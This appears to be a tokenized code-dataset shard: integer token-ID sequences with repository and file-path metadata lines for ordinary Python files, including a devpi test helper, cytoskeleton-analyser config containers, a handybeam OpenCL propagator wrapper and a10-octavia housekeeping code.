2380,
29918,
978,
13,
4706,
1583,
3032,
842,
29918,
4381,
29918,
14941,
786,
29898,
1333,
6120,
29898,
2248,
29918,
978,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
2380,
29898,
1311,
1125,
13,
4706,
565,
451,
1583,
3032,
2248,
29901,
13,
9651,
1583,
3032,
2248,
353,
525,
7050,
648,
8172,
29913,
4286,
4830,
29898,
8172,
29922,
657,
29918,
8172,
1807,
29898,
29896,
29900,
876,
13,
4706,
736,
1583,
3032,
2248,
13,
13,
1678,
822,
903,
842,
29918,
4381,
29918,
14941,
786,
29898,
1311,
29892,
5941,
786,
1125,
13,
4706,
1583,
3032,
4381,
29918,
14941,
786,
353,
5941,
786,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
565,
451,
1583,
29889,
2248,
29918,
9933,
7295,
13,
9651,
1583,
29889,
3258,
29918,
2248,
580,
13,
4706,
1583,
29889,
1509,
29918,
2248,
580,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
334,
5085,
1125,
13,
4706,
565,
1583,
3032,
4381,
29918,
14941,
786,
29901,
13,
9651,
1583,
29889,
8143,
29918,
2248,
580,
13,
13,
1678,
822,
1243,
29898,
1311,
1125,
13,
4706,
1583,
3032,
9009,
580,
13,
4706,
1583,
29889,
3389,
877,
3359,
1631,
1243,
426,
6550,
1157,
4645,
1191,
29913,
1192,
4801,
2251,
4286,
4830,
29898,
13,
9651,
1580,
29922,
1311,
29889,
6550,
29892,
13,
9651,
3132,
1191,
29922,
1311,
29889,
4645,
1191,
876,
13,
13,
1678,
822,
903,
9009,
29898,
1311,
1125,
13,
4706,
1583,
29889,
3389,
877,
3359,
1631,
6441,
29912,
4645,
1191,
29913,
4286,
4830,
29898,
13,
9651,
3132,
1191,
29922,
1311,
29889,
4645,
1191,
876,
13,
13,
4706,
565,
1583,
3032,
275,
29918,
2640,
29901,
13,
9651,
411,
1583,
3032,
2640,
27492,
4703,
580,
408,
28877,
29901,
13,
18884,
1583,
3032,
17158,
29918,
307,
7451,
2640,
29898,
27492,
29897,
13,
18884,
1583,
3032,
9009,
29918,
6194,
29918,
2640,
29898,
27492,
29897,
13,
13,
1678,
822,
9805,
29898,
1311,
29892,
2380,
1125,
13,
4706,
1583,
29889,
5910,
29898,
1311,
29889,
6550,
29892,
2380,
29897,
13,
13,
1678,
822,
903,
2640,
27492,
4703,
29898,
1311,
1125,
13,
13,
4706,
732,
4703,
12847,
13,
4706,
822,
903,
27492,
7295,
13,
9651,
7709,
1583,
13,
13,
4706,
736,
9423,
27492,
580,
13,
18884,
565,
1583,
29889,
5113,
13789,
29889,
13715,
11811,
6272,
1683,
13,
18884,
6901,
6272,
27492,
29889,
27492,
29889,
16802,
29898,
13096,
29918,
2248,
29918,
2271,
29922,
1311,
29889,
29886,
1478,
29875,
2271,
29892,
13,
462,
462,
1669,
1065,
29922,
1311,
29889,
3389,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
903,
275,
29918,
2640,
29898,
1311,
1125,
13,
4706,
736,
2897,
29889,
2084,
29889,
275,
3972,
877,
29879,
561,
14668,
2640,
1495,
13,
13,
1678,
822,
903,
17158,
29918,
307,
7451,
2640,
29898,
1311,
29892,
28877,
1125,
13,
4706,
565,
451,
1583,
29889,
5113,
13789,
29889,
13715,
11811,
6272,
29901,
13,
9651,
1583,
3032,
6252,
29918,
2640,
29918,
12277,
1860,
29898,
27492,
29897,
13,
4706,
28197,
9832,
1061,
29898,
307,
7451,
2640,
29918,
4632,
29918,
8771,
414,
2433,
307,
7451,
2640,
742,
13,
462,
259,
1065,
29922,
27492,
29889,
3389,
467,
3258,
29918,
307,
7451,
2640,
580,
13,
13,
1678,
822,
903,
6252,
29918,
2640,
29918,
12277,
1860,
29898,
1311,
29892,
28877,
1125,
13,
4706,
28877,
29889,
3389,
877,
13096,
2601,
274,
2096,
29889,
3359,
13239,
448,
29875,
426,
29886,
1478,
29875,
2271,
29913,
4286,
4830,
29898,
13,
9651,
282,
1478,
29875,
2271,
29922,
1311,
29889,
29886,
1478,
29875,
2271,
876,
13,
4706,
28877,
29889,
3389,
877,
13096,
2601,
426,
978,
29913,
1360,
29912,
3259,
29913,
448,
29875,
426,
29886,
1478,
29875,
2271,
29913,
4286,
4830,
29898,
13,
9651,
1024,
29922,
1311,
29889,
5113,
13789,
29889,
978,
29892,
13,
9651,
1873,
29922,
1311,
29889,
5113,
13789,
29889,
3259,
29892,
13,
9651,
282,
1478,
29875,
2271,
29922,
1311,
29889,
29886,
1478,
29875,
2271,
876,
13,
13,
1678,
822,
903,
9009,
29918,
6194,
29918,
2640,
29898,
1311,
29892,
28877,
1125,
13,
4706,
28877,
29889,
3389,
877,
3359,
1631,
6441,
1192,
1217,
29899,
29894,
2395,
1192,
6194,
29899,
2640,
29912,
4645,
1191,
29913,
4286,
4830,
29898,
13,
9651,
3132,
1191,
29922,
1311,
29889,
4645,
1191,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1580,
29898,
1311,
1125,
13,
4706,
736,
22372,
978,
29913,
1360,
29912,
3259,
29913,
4286,
4830,
29898,
13,
9651,
1024,
29922,
1311,
29889,
5113,
13789,
29889,
978,
29892,
13,
9651,
1873,
29922,
1311,
29889,
5113,
13789,
29889,
3259,
29897,
13,
2
] |
cytoskeleton_analyser/database/sqlite_alchemy_orm/containers/cell_elements.py | vsukhor/cytoskeleton-analyser | 0 | 29222 | <reponame>vsukhor/cytoskeleton-analyser
# Copyright (c) 2021 <NAME>. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the
# names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ''AS IS'' AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# -----------------------------------------------------------------------------
"""Subclasses of container base class for tailored to cell components.
"""
from collections import namedtuple
from . import container
from .. import models
class MembraneNucleus(container.Optional):
"""Container class for configuration of cell nuclear membrane.
"""
model = models.ConfigNucleus
class MembranePlasma(container.Optional):
"""Container class for configuration of cell plasma membrane.
"""
model = models.ConfigPlasma
class InSpace(container.Base):
"""Container class for configuration of unanchored microtubule MTOC.
"""
model = models.ConfigMtocInSpace
class Golgi(container.Base):
"""Container class for configuration of Golgi-type MTOC.
"""
model = models.ConfigMtocGolgi
class Centrosome(container.Base):
"""Container class for configuration of centrosome-type MTOC.
"""
model = models.ConfigMtocCentrosome
class Nucleus(container.Base):
"""Container class for configuration of Nucleus-type MTOC.
"""
model = models.ConfigMtocNucleus
#: Types of Microtubule Organizing Centers (MTOCs).
Mtoc = namedtuple('Mtoc', 'InSpace Golgi Centrosome Nucleus')
# Microtubule Organizing Centers (MTOCs).
mtoc = Mtoc(InSpace, Golgi, Centrosome, Nucleus)
| [
1,
529,
276,
1112,
420,
29958,
29894,
2146,
29895,
2015,
29914,
1270,
29873,
359,
446,
11285,
29899,
24209,
643,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29896,
529,
5813,
15513,
2178,
10462,
21676,
29889,
13,
29937,
13,
29937,
4367,
391,
3224,
322,
671,
297,
2752,
322,
7581,
7190,
29892,
411,
470,
1728,
13,
29937,
21733,
29892,
526,
21905,
4944,
393,
278,
1494,
5855,
526,
1539,
29901,
13,
29937,
29871,
29896,
29889,
4367,
391,
3224,
29879,
310,
2752,
775,
1818,
11551,
278,
2038,
3509,
1266,
13,
29937,
1678,
8369,
29892,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
29889,
13,
29937,
29871,
29906,
29889,
4367,
391,
3224,
29879,
297,
7581,
883,
1818,
18532,
278,
2038,
3509,
1266,
13,
29937,
1678,
8369,
29892,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
297,
278,
13,
29937,
1678,
5106,
322,
29914,
272,
916,
17279,
4944,
411,
278,
4978,
29889,
13,
29937,
29871,
29941,
29889,
2448,
2121,
278,
1024,
310,
278,
3509,
1266,
19464,
3643,
278,
13,
29937,
1678,
2983,
310,
967,
17737,
29560,
1122,
367,
1304,
304,
1095,
272,
344,
470,
27391,
9316,
13,
29937,
1678,
10723,
515,
445,
7047,
1728,
2702,
7536,
3971,
10751,
29889,
13,
29937,
13,
29937,
3446,
3235,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
6770,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
6629,
3289,
8519,
4907,
5300,
13764,
29979,
13,
29937,
8528,
15094,
1799,
6323,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
29892,
2672,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
6093,
306,
3580,
5265,
3352,
13,
29937,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
5300,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
319,
1525,
13,
29937,
28657,
13875,
8890,
29928,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
6323,
8707,
29911,
3960,
29933,
2692,
24125,
20700,
17705,
6181,
13,
29937,
15842,
13764,
29979,
22471,
26282,
29892,
2672,
4571,
26282,
29892,
2672,
29907,
1367,
3919,
1964,
29892,
317,
4162,
8426,
1964,
29892,
8528,
29923,
3580,
29931,
19926,
29892,
6323,
8707,
1660,
13356,
3919,
25758,
13,
29937,
21330,
1529,
1692,
29903,
313,
1177,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
13756,
29907,
11499,
13780,
8079,
27092,
1254,
1806,
26027,
21947,
29949,
8452,
6323,
13,
29937,
26996,
29963,
2965,
2890,
29936,
11247,
1799,
8079,
501,
1660,
29892,
360,
8254,
29892,
6323,
13756,
29943,
1806,
29903,
29936,
6323,
350,
3308,
8895,
1799,
2672,
4945,
29934,
4897,
29911,
2725,
29897,
29832,
8851,
5348,
13,
29937,
12766,
17171,
29928,
5300,
6732,
13764,
29979,
6093,
18929,
8079,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
8707,
29911,
4717,
1783,
29892,
6850,
3960,
1783,
17705,
2882,
6227,
11937,
29892,
13,
29937,
6323,
323,
8476,
313,
1177,
6154,
15789,
4214,
405,
11787,
5265,
24647,
4741,
6323,
438,
29911,
4448,
22119,
1660,
29897,
9033,
3235,
4214,
2672,
13764,
29979,
399,
29909,
29979,
19474,
8079,
6093,
13,
29937,
501,
1660,
8079,
3446,
3235,
7791,
7818,
12982,
1525,
29892,
382,
29963,
1430,
10762,
11033,
18118,
1660,
29928,
8079,
6093,
21521,
1799,
8979,
6227,
11937,
8079,
20134,
3210,
21330,
1529,
1692,
29889,
13,
29937,
448,
2683,
2683,
2683,
2683,
9072,
13,
13,
15945,
29908,
4035,
13203,
310,
5639,
2967,
770,
363,
12464,
4395,
304,
3038,
7117,
29889,
13,
15945,
29908,
13,
13,
3166,
16250,
1053,
4257,
23583,
13,
13,
3166,
869,
1053,
5639,
13,
3166,
6317,
1053,
4733,
13,
13,
13,
1990,
341,
1590,
10800,
29940,
1682,
280,
375,
29898,
7611,
29889,
27636,
1125,
13,
1678,
9995,
7895,
770,
363,
5285,
310,
3038,
20346,
3813,
10800,
29889,
13,
1678,
9995,
13,
13,
1678,
1904,
353,
4733,
29889,
3991,
29940,
1682,
280,
375,
13,
13,
13,
1990,
341,
1590,
10800,
3247,
25392,
29898,
7611,
29889,
27636,
1125,
13,
1678,
9995,
7895,
770,
363,
5285,
310,
3038,
715,
25392,
3813,
10800,
29889,
13,
1678,
9995,
13,
13,
1678,
1904,
353,
4733,
29889,
3991,
3247,
25392,
13,
13,
13,
1990,
512,
14936,
29898,
7611,
29889,
5160,
1125,
13,
1678,
9995,
7895,
770,
363,
5285,
310,
443,
14588,
4395,
9200,
29873,
431,
1297,
341,
4986,
29907,
29889,
13,
1678,
9995,
13,
13,
1678,
1904,
353,
4733,
29889,
3991,
29924,
517,
29883,
797,
14936,
13,
13,
13,
1990,
20268,
3146,
29898,
7611,
29889,
5160,
1125,
13,
1678,
9995,
7895,
770,
363,
5285,
310,
20268,
3146,
29899,
1853,
341,
4986,
29907,
29889,
13,
1678,
9995,
13,
13,
1678,
1904,
353,
4733,
29889,
3991,
29924,
517,
29883,
29954,
324,
3146,
13,
13,
13,
1990,
2895,
1883,
608,
29898,
7611,
29889,
5160,
1125,
13,
1678,
9995,
7895,
770,
363,
5285,
310,
1644,
1883,
608,
29899,
1853,
341,
4986,
29907,
29889,
13,
1678,
9995,
13,
1678,
1904,
353,
4733,
29889,
3991,
29924,
517,
29883,
23369,
1883,
608,
13,
13,
13,
1990,
405,
1682,
280,
375,
29898,
7611,
29889,
5160,
1125,
13,
1678,
9995,
7895,
770,
363,
5285,
310,
405,
1682,
280,
375,
29899,
1853,
341,
4986,
29907,
29889,
13,
1678,
9995,
13,
13,
1678,
1904,
353,
4733,
29889,
3991,
29924,
517,
29883,
29940,
1682,
280,
375,
13,
13,
13,
29937,
29901,
28025,
310,
20140,
29873,
431,
1297,
9205,
5281,
2895,
414,
313,
29924,
4986,
29907,
29879,
467,
13,
29924,
517,
29883,
353,
4257,
23583,
877,
29924,
517,
29883,
742,
525,
797,
14936,
20268,
3146,
2895,
1883,
608,
405,
1682,
280,
375,
1495,
13,
13,
29937,
20140,
29873,
431,
1297,
9205,
5281,
2895,
414,
313,
29924,
4986,
29907,
29879,
467,
13,
29885,
517,
29883,
353,
341,
517,
29883,
29898,
797,
14936,
29892,
20268,
3146,
29892,
2895,
1883,
608,
29892,
405,
1682,
280,
375,
29897,
13,
2
] |
handybeam/opencl_wrappers/propagator_wrappers.py | ultraleap/HandyBeam | 2 | 160564 | ## Imports
import handybeam
import handybeam.opencl_wrappers.abstract_wrapper
import handybeam.propagator_mixins
import handybeam.propagator_mixins.clist_propagator
import handybeam.propagator_mixins.rect_propagator
import handybeam.propagator_mixins.hex_propagator
import handybeam.propagator_mixins.lamb_propagator
import handybeam.tx_array
import handybeam.cl_system
## Global variables
## Class
class Propagator(
handybeam.opencl_wrappers.abstract_wrapper.Wrapper,
handybeam.propagator_mixins.clist_propagator.ClistPropMixin,
handybeam.propagator_mixins.rect_propagator.RectPropMixin,
handybeam.propagator_mixins.hex_propagator.HexPropMixin,
handybeam.propagator_mixins.lamb_propagator.LambPropMixin
):
'''This is a wrapper class which inherits from the template wrapper class Wrapper and the
OpenCL propagator mixin classes. An instance of this class is initialised when a world
object is initialised.
'''
def __init__(self, parent=None, use_device = 0, use_platform = 0):
'''This method intialises an instance of the Propagator class. During the initialisation process,
the compiled OpenCL propagator kernels are assigned to the appropriate propagator mixin classes.
.. TODO::
Provide description and type for the handybeam world object.
Parameters
----------
parent : handybeam world object
DESCRIPTION
'''
# Inherits the OpenCL wrappers - i.e. the mixin classes
super(Propagator, self).__init__()
self.parent = parent
self.cl_system = handybeam.cl_system.OpenCLSystem(parent = self.parent,use_device = self.parent.device, use_platform=self.parent.platform)
# Run the _register methods for each of mixin classes to initialise the high-performance opencl kernels.
self._register_clist_propagator()
self._register_rect_propagator()
self._register_hex_propagator()
self._register_lamb_propagator()
| [
1,
444,
1954,
4011,
13,
13,
5215,
1361,
29891,
915,
314,
13,
5215,
1361,
29891,
915,
314,
29889,
3150,
695,
29918,
29893,
336,
22437,
29889,
16595,
29918,
17699,
13,
5215,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
13,
5215,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
695,
391,
29918,
7728,
351,
1061,
13,
5215,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
1621,
29918,
7728,
351,
1061,
13,
5215,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
20970,
29918,
7728,
351,
1061,
13,
5215,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
29880,
1117,
29918,
7728,
351,
1061,
13,
5215,
1361,
29891,
915,
314,
29889,
7508,
29918,
2378,
13,
5215,
1361,
29891,
915,
314,
29889,
695,
29918,
5205,
13,
13,
13,
2277,
12002,
3651,
13,
13,
2277,
4134,
13,
13,
1990,
1019,
13573,
1061,
29898,
539,
13,
13,
462,
1678,
1361,
29891,
915,
314,
29889,
3150,
695,
29918,
29893,
336,
22437,
29889,
16595,
29918,
17699,
29889,
15646,
29892,
13,
462,
1678,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
695,
391,
29918,
7728,
351,
1061,
29889,
29907,
1761,
20420,
29924,
861,
262,
29892,
13,
462,
1678,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
1621,
29918,
7728,
351,
1061,
29889,
7364,
20420,
29924,
861,
262,
29892,
13,
462,
1678,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
20970,
29918,
7728,
351,
1061,
29889,
29950,
735,
20420,
29924,
861,
262,
29892,
13,
462,
1678,
1361,
29891,
915,
314,
29889,
7728,
351,
1061,
29918,
28084,
1144,
29889,
29880,
1117,
29918,
7728,
351,
1061,
29889,
29931,
1117,
20420,
29924,
861,
262,
13,
462,
268,
13,
462,
1125,
13,
13,
1678,
14550,
4013,
338,
263,
14476,
770,
607,
7846,
1169,
515,
278,
4472,
14476,
770,
399,
6794,
322,
278,
13,
1678,
4673,
6154,
13089,
1061,
6837,
262,
4413,
29889,
530,
2777,
310,
445,
770,
338,
2847,
3368,
746,
263,
3186,
13,
1678,
1203,
338,
2847,
3368,
29889,
29871,
13,
13,
1678,
14550,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3847,
29922,
8516,
29892,
671,
29918,
10141,
353,
29871,
29900,
29892,
671,
29918,
12120,
353,
29871,
29900,
1125,
13,
4706,
14550,
4013,
1158,
938,
616,
4637,
385,
2777,
310,
278,
1019,
13573,
1061,
770,
29889,
7133,
278,
2847,
4371,
1889,
29892,
13,
4706,
278,
13126,
4673,
6154,
13089,
1061,
413,
824,
1379,
526,
9859,
304,
278,
8210,
13089,
1061,
6837,
262,
4413,
29889,
13,
13,
4706,
6317,
14402,
1057,
13,
13,
9651,
9133,
680,
6139,
322,
1134,
363,
278,
1361,
29891,
915,
314,
3186,
1203,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
13,
4706,
3847,
584,
1361,
29891,
915,
314,
3186,
1203,
13,
9651,
23050,
24290,
2725,
13,
13,
4706,
14550,
13,
13,
4706,
396,
512,
2276,
1169,
278,
4673,
6154,
11463,
22437,
448,
474,
29889,
29872,
29889,
278,
6837,
262,
4413,
13,
13,
4706,
2428,
29898,
1184,
13573,
1061,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
13,
4706,
1583,
29889,
3560,
353,
3847,
13,
4706,
1583,
29889,
695,
29918,
5205,
353,
1361,
29891,
915,
314,
29889,
695,
29918,
5205,
29889,
6585,
6154,
3924,
29898,
3560,
353,
1583,
29889,
3560,
29892,
1509,
29918,
10141,
353,
1583,
29889,
3560,
29889,
10141,
29892,
671,
29918,
12120,
29922,
1311,
29889,
3560,
29889,
12120,
29897,
13,
13,
4706,
396,
7525,
278,
903,
9573,
3519,
363,
1269,
310,
6837,
262,
4413,
304,
2847,
895,
278,
1880,
29899,
546,
13390,
1722,
695,
413,
824,
1379,
29889,
13,
13,
4706,
1583,
3032,
9573,
29918,
695,
391,
29918,
7728,
351,
1061,
580,
13,
4706,
1583,
3032,
9573,
29918,
1621,
29918,
7728,
351,
1061,
580,
13,
4706,
1583,
3032,
9573,
29918,
20970,
29918,
7728,
351,
1061,
580,
13,
4706,
1583,
3032,
9573,
29918,
29880,
1117,
29918,
7728,
351,
1061,
580,
13,
13,
2
] |
a10_octavia/controller/housekeeping/house_keeping.py | sridharsrinivas/a10-octavia | 1 | 182821 | <gh_stars>1-10
# Copyright 2019, A10 Networks
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from concurrent import futures
import datetime
from oslo_config import cfg
from oslo_log import log as logging
from octavia.db import api as db_api
from octavia.db import repositories as repo
from a10_octavia.controller.worker import controller_worker as cw
from a10_octavia.db import repositories as a10repo
LOG = logging.getLogger(__name__)
CONF = cfg.CONF
class SpareAmphora(object):
def __init__(self):
self.amp_repo = repo.AmphoraRepository()
self.vthunder_repo = a10repo.VThunderRepository()
self.cw = cw.A10ControllerWorker()
def spare_check(self):
"""Checks the DB for the Spare amphora count.
If it's less than the requirement, starts new amphora.
"""
session = db_api.get_session()
conf_spare_cnt = CONF.a10_house_keeping.spare_amphora_pool_size
curr_spare_cnt = self.vthunder_repo.get_spare_vthunder_count(session)
LOG.debug("Required Spare vThunder count : %d", conf_spare_cnt)
LOG.debug("Current Spare vThunder count : %d", curr_spare_cnt)
diff_count = conf_spare_cnt - curr_spare_cnt
# When the current spare amphora is less than required
if diff_count > 0:
LOG.info("Initiating creation of %d spare amphora.", diff_count)
# Call Amphora Create Flow diff_count times
with futures.ThreadPoolExecutor(
max_workers=CONF.a10_house_keeping.spare_amphora_pool_size
) as executor:
for i in range(1, diff_count + 1):
LOG.debug("Starting amphorae number %d ...", i)
executor.submit(self.cw.create_amphora)
else:
LOG.debug("Current spare vThunder count satisfies the requirement")
class DatabaseCleanup(object):
def __init__(self):
self.vthunder_repo = a10repo.VThunderRepository()
self.lb_repo = a10repo.LoadBalancerRepository()
def delete_old_amphorae(self):
"""Checks the DB for old amphora and deletes them based on its age."""
exp_age = datetime.timedelta(
seconds=CONF.a10_house_keeping.amphora_expiry_age)
session = db_api.get_session()
amp_ids = self.vthunder_repo.get_all_deleted_expiring(session,
exp_age=exp_age)
LOG.info('VThunder ids: %s', amp_ids)
for amp_id in amp_ids:
LOG.info('Attempting to purge db record for VThunder ID: %s',
amp_id)
self.vthunder_repo.delete(session, id=amp_id)
LOG.info('Purged db record for Amphora ID: %s', amp_id)
def cleanup_load_balancers(self):
"""Checks the DB for old load balancers and triggers their removal."""
exp_age = datetime.timedelta(
seconds=CONF.a10_house_keeping.load_balancer_expiry_age)
session = db_api.get_session()
lb_ids = self.lb_repo.get_all_deleted_expiring(session,
exp_age=exp_age)
LOG.info('Load balancer ids: %s', lb_ids)
for lb_id in lb_ids:
LOG.info('Attempting to delete load balancer id : %s', lb_id)
self.lb_repo.delete(session, id=lb_id)
LOG.info('Deleted load balancer id : %s', lb_id)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
1678,
14187,
1266,
29871,
29906,
29900,
29896,
29929,
29892,
319,
29896,
29900,
8527,
29879,
13,
29937,
13,
29937,
1678,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
366,
1122,
13,
29937,
1678,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
887,
1122,
4017,
13,
29937,
1678,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
308,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
1678,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
1678,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
13,
29937,
1678,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
2823,
278,
13,
29937,
1678,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
27028,
13,
29937,
1678,
1090,
278,
19245,
29889,
13,
13,
13,
3166,
21984,
1053,
3105,
1973,
13,
5215,
12865,
13,
13,
3166,
2897,
417,
29918,
2917,
1053,
274,
16434,
13,
3166,
2897,
417,
29918,
1188,
1053,
1480,
408,
12183,
13,
13,
3166,
4725,
12751,
29889,
2585,
1053,
7882,
408,
4833,
29918,
2754,
13,
3166,
4725,
12751,
29889,
2585,
1053,
28914,
408,
13761,
13,
13,
3166,
263,
29896,
29900,
29918,
20082,
12751,
29889,
8299,
29889,
24602,
1053,
4701,
29918,
24602,
408,
274,
29893,
13,
3166,
263,
29896,
29900,
29918,
20082,
12751,
29889,
2585,
1053,
28914,
408,
263,
29896,
29900,
20095,
13,
13,
14480,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
6007,
29943,
353,
274,
16434,
29889,
6007,
29943,
13,
13,
13,
1990,
1706,
598,
6833,
561,
2207,
29898,
3318,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
1160,
29918,
20095,
353,
13761,
29889,
6833,
561,
2207,
11481,
580,
13,
4706,
1583,
29889,
29894,
386,
5062,
29918,
20095,
353,
263,
29896,
29900,
20095,
29889,
29963,
1349,
5062,
11481,
580,
13,
4706,
1583,
29889,
29883,
29893,
353,
274,
29893,
29889,
29909,
29896,
29900,
2956,
16164,
580,
13,
13,
1678,
822,
29337,
29918,
3198,
29898,
1311,
1125,
13,
4706,
9995,
5596,
29879,
278,
6535,
363,
278,
1706,
598,
626,
561,
2207,
2302,
29889,
13,
13,
4706,
960,
372,
29915,
29879,
3109,
1135,
278,
11809,
29892,
8665,
716,
626,
561,
2207,
29889,
13,
4706,
9995,
13,
4706,
4867,
353,
4833,
29918,
2754,
29889,
657,
29918,
7924,
580,
13,
4706,
1970,
29918,
1028,
598,
29918,
20047,
353,
8707,
29943,
29889,
29874,
29896,
29900,
29918,
8697,
29918,
17462,
292,
29889,
1028,
598,
29918,
314,
561,
2207,
29918,
10109,
29918,
2311,
13,
4706,
16256,
29918,
1028,
598,
29918,
20047,
353,
1583,
29889,
29894,
386,
5062,
29918,
20095,
29889,
657,
29918,
1028,
598,
29918,
29894,
386,
5062,
29918,
2798,
29898,
7924,
29897,
13,
4706,
25401,
29889,
8382,
703,
19347,
1706,
598,
325,
1349,
5062,
2302,
584,
1273,
29881,
613,
1970,
29918,
1028,
598,
29918,
20047,
29897,
13,
4706,
25401,
29889,
8382,
703,
7583,
1706,
598,
325,
1349,
5062,
2302,
584,
1273,
29881,
613,
16256,
29918,
1028,
598,
29918,
20047,
29897,
13,
4706,
2923,
29918,
2798,
353,
1970,
29918,
1028,
598,
29918,
20047,
448,
16256,
29918,
1028,
598,
29918,
20047,
13,
13,
4706,
396,
1932,
278,
1857,
29337,
626,
561,
2207,
338,
3109,
1135,
3734,
13,
4706,
565,
2923,
29918,
2798,
1405,
29871,
29900,
29901,
13,
9651,
25401,
29889,
3888,
703,
797,
4812,
1218,
11265,
310,
1273,
29881,
29337,
626,
561,
2207,
19602,
2923,
29918,
2798,
29897,
13,
13,
9651,
396,
8251,
1913,
561,
2207,
6204,
22787,
2923,
29918,
2798,
3064,
13,
9651,
411,
3105,
1973,
29889,
23574,
13366,
29898,
13,
462,
1678,
4236,
29918,
1287,
414,
29922,
6007,
29943,
29889,
29874,
29896,
29900,
29918,
8697,
29918,
17462,
292,
29889,
1028,
598,
29918,
314,
561,
2207,
29918,
10109,
29918,
2311,
13,
9651,
1723,
408,
2279,
3406,
29901,
13,
18884,
363,
474,
297,
3464,
29898,
29896,
29892,
2923,
29918,
2798,
718,
29871,
29896,
1125,
13,
462,
1678,
25401,
29889,
8382,
703,
4763,
292,
626,
561,
2207,
29872,
1353,
1273,
29881,
2023,
613,
474,
29897,
13,
462,
1678,
2279,
3406,
29889,
7892,
29898,
1311,
29889,
29883,
29893,
29889,
3258,
29918,
314,
561,
2207,
29897,
13,
4706,
1683,
29901,
13,
9651,
25401,
29889,
8382,
703,
7583,
29337,
325,
1349,
5062,
2302,
17150,
278,
11809,
1159,
13,
13,
13,
1990,
5470,
29907,
14044,
786,
29898,
3318,
1125,
